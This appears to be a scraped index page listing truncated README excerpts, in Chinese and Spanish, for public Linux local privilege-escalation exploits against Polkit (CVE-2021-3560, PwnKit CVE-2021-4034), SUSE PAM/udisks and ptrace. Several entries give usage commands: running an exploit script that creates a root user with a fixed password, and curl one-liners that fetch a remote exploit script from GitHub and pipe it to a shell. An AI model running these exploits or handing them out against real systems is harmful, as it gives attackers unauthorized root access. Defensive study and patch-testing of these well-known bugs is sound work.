CVE-2021-3560

CVE-2021-3560 通过 polkit 中的条件竞争提升权限。 漏洞描述 CVE-2021-3560 是 polkit 中的一个条件竞争，允许未经授权的本地用户获取 root 权限。该漏洞存在于 polkit 在连接中断时处理 D-Bus 错误的方式中。 时间计算 要确定最佳时间，请执行以下命令： root@kitploit: time dbus-send --system --dest=org.freedesktop.Accounts --type=methodcall --print-reply /org/freedesktop/Accounts...

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC 漏洞利用 本地权限提升（LPE）- openSUSE / SUSE Linux Enterprise 15 适用于 CVE-2025-6018 和 CVE-2025-6019 的有效 PoC/漏洞利用 - 在 openSUSE Leap 15.x 和 SUSE Linux Enterprise 15.x 上实现从非特权用户到 root 的权限提升 🎯 快速摘要 CVE ID| 漏洞| 影响 ---|---|--- CVE-2025-6018| PAM 环境变量注入| 绕过以获取 allowactive polkit 状态...

ROOT-CVE-2021-3560

ROOT-CVE-2021-3560 Polkit 0.105-26 0.117-2 - 本地权限提升...

Polkit-Permission-promotion-compiled

Polkit-Permission-promotion-compiled Polkit提权包 CVE-2021-4034 （Easy access for those who need it 源项目（需编译）：https://github.com/berdav/CVE-2021-4034 此为已编译后项目，全部导入 root@kitploit: chmod -R 777 2/dev/null root@kitploit: ./exp eg. dir tree： root@kitploit: CVE-2021-4034 ├─ GCONVPATH=.% │ └─ pwnkit.so:. ├─...

PwnKit-CVE-2021-4034-

PwnKit-CVE-2021-4034- Polkit漏洞的重写版本。...

polkit-auto-exploit

polkit-auto-exploit Polkit CVE-2021-3560 的自动利用 PoC 概要 CVE-2021-3560 是 polkit 的一个认证绕过漏洞，允许非特权用户通过 DBus 调用特权方法。在此利用中，我们将调用 accountsservice 提供的两个特权方法（CreateUser 和 SetPassword），从而创建一个特权用户，然后为其设置密码，最后以创建的用户身份登录并提权到 root。 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug...

PwnKit

PwnKit Exploit autónomo para CVE-2021-4034 - Escalada de privilegios local de Pkexec Uso Debería funcionar directamente en distribuciones Linux vulnerables basadas en Ubuntu, Debian, Fedora y CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

exploit_CVE-2021-3560

CVE-2021-3560 利用脚本 此脚本利用 polkit 中的 CVE-2021-3560 漏洞实现权限提升至 root。 使用方法 在克隆仓库后，赋予执行权限并运行脚本： root@kitploit: chmod +x exploit.sh ./exploit.sh 预期结果 运行脚本后，将创建一个具有 root 权限的新用户。你可以使用脚本中指定的凭据登录： root@kitploit: ROOTUSER="john" ROOTPASS="john@123" 示例登录 root@kitploit: su john Password: john@123 sudo su whoam...

CVE-2021-4034

CVE-2021-4034 PwnKit 的 PoC：polkit 的 pkexec 中的本地权限提升漏洞 CVE-2021-4034 https://seclists.org/oss-sec/2022/q1/80 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 PoC 已在 Debian 10 和 CentOS 7 上验证...

exploit-CVE-2021-3560

Exploit para CVE-2021-3560 Polkit - Escalada local de privilegios ¿Te gusta este repositorio? ¡Danos una ⭐! Solo con fines educativos y de investigación de seguridad autorizada. Autor del exploit @UNICORDev por @NicPWNs y @Dev-Yeoj Descripción de la vulnerabilidad Se descubrió que polkit podía se...

CVE-2021-3560

CVE-2021-3560 Polkit - 本地权限提升 最初由 kevinbackhouse 来自 GitHub Security Lab 发现 参考 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ https://www.youtube.com/watch?v=QZhz64yEd0g https://ubuntu.com/security/CVE-2021-3560 博客...

CVE-2021-4034

CVE-2021-4034 本仓库包含用于 cve-2021-4034 的单文件漏洞利用程序，该漏洞是 Polkit 本地权限提升漏洞。请谨慎使用！ 漏洞描述 CVE-2021-4034，通常被称为 Pwnkit ，是 Polkit 中 pkexec 组件的一个内存损坏漏洞。Polkit 是用于在类 Unix 系统中定义和处理授权的工具包。该漏洞源于对环境变量的不当处理，允许本地用户以 root 用户身份执行任意代码。 核心问题在于 pkexec 在解析环境变量之前未能正确地对其进行清理。这导致在某些情况下出现越界 写入条件，最终允许本地权限提升。该漏洞自 2009 年 pkexec...

CVE-2019-13272

CVE-2019-13272 PTRACETRACEME 注意：该漏洞利用的Python3版本不需要任何外部源代码。以下列出的源码仅用于注明原始C语言漏洞利用的出处。 详情：https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 利用可能性：极高 标签：ubuntu=16.04kernel:4.15.0-,ubuntu=18.04kernel:4.15.0-,debian=9kernel:4.9.0-, debian=10kernel:4.19.0- ,fedora=30kernel:5.0.9-...

CVE-2021-4034

CVE-2021-4034 Pkexec 漏洞利用 - 本地权限提升 仅供教育和授权安全研究使用。 原始漏洞利用作者 @arthepsy 漏洞描述 在 polkit 的 pkexec 工具中发现了一个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具，旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。当前版本的 pkexec 未能正确处理调用参数计数，最终会将环境变量当作命令执行。攻击者可以通过精心构造环境变量来利用此漏洞，诱导 pkexec 执行任意代码。成功执行攻击后，将导致本地权限提升，使非特权用户获得目标机器的管理权限。 使用方法 root@kitploi...

CVE-2021-4034-PwnKit-

CVE-2021-4034 PwnKit - 分析与利用 此仓库包含演示 CVE-2021-4034 漏洞利用的源代码，该漏洞也被称为 PwnKit ，发现于 pkexec（Polkit 包的一部分）。该缺陷允许通过使用恶意环境变量 本地提权至 root 。 ⚠️ 警告 此代码仅供 教育和研究目的 使用。不得在生产系统上或未经明确授权的情况下使用。滥用可能违法，并违反作者的使用条款。 🧠 技术描述 当 pkexec 在没有参数的情况下执行时（即 argc == 0），该漏洞出现。在这种情况下，pkexec 尝试访问 argv1 而不检查 argv0 是否存在，导致它读取...

CVE-2021-3560

CVE-2021-3560 基于C语言的可靠CVE-2021-3560漏洞利用程序。 摘要： 昨天我偶然发现了Kevin Backhouse的这篇博客文章（发现了这个漏洞），我尝试了文章中提供的bash命令，令我惊讶的是，它居然在我的Kali Linux机器上生效了！ CVE-2021-3560是polkit上的一个身份验证绕过漏洞，它允许无特权的用户通过DBus调用特权方法。该PoC利用此漏洞调用由accountsservice提供的两个特权方法（CreateUser 和 SetPassword），从而允许我们创建一个特权用户并为其设置密码。...

CVE-2021-3560

CVE-2021-3560 CTF 一个针对ubunutu中polkit权限提升漏洞的简单poc脚本...

CVE-2021-4034

CVE-2021-4034 这是 PwnKit 本地权限提升漏洞 的 PoC，由 Qualys Security Team 发现。 Qualys 研究团队发现 polkit 的 pkexec（一个 SUID-root 程序，默认安装在每个主流 Linux 发行版中）存在内存损坏漏洞。 概念验证 下图展示了该负载在基于 debian 的操作系统中的运行效果 使用方法 提供了两个 PoC，其中一个为自包含版本，不需要在易受攻击的端点（即 GCC）上安装任何依赖。 建议 立即建议移除 polkit 二进制/可执行文件的 SUID 位。...

CVE-2021-3560

CVE-2021-3560 Polkit - 本地权限提升 最初由 kevinbackhouse 在 GitHub Security Lab 发现 参考 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ https://www.youtube.com/watch?v=QZhz64yEd0g https://ubuntu.com/security/CVE-2021-3560 博客...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC，polkit 0.131 用法 已在 Arch Linux（Manjaro 和 Axyl OS）上测试 root@kitploit: git clone https://github.com/tahaafarooq/poppy make ./poppy 创建超级用户的漏洞利用 root@kitploit: bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" root@kitploit:...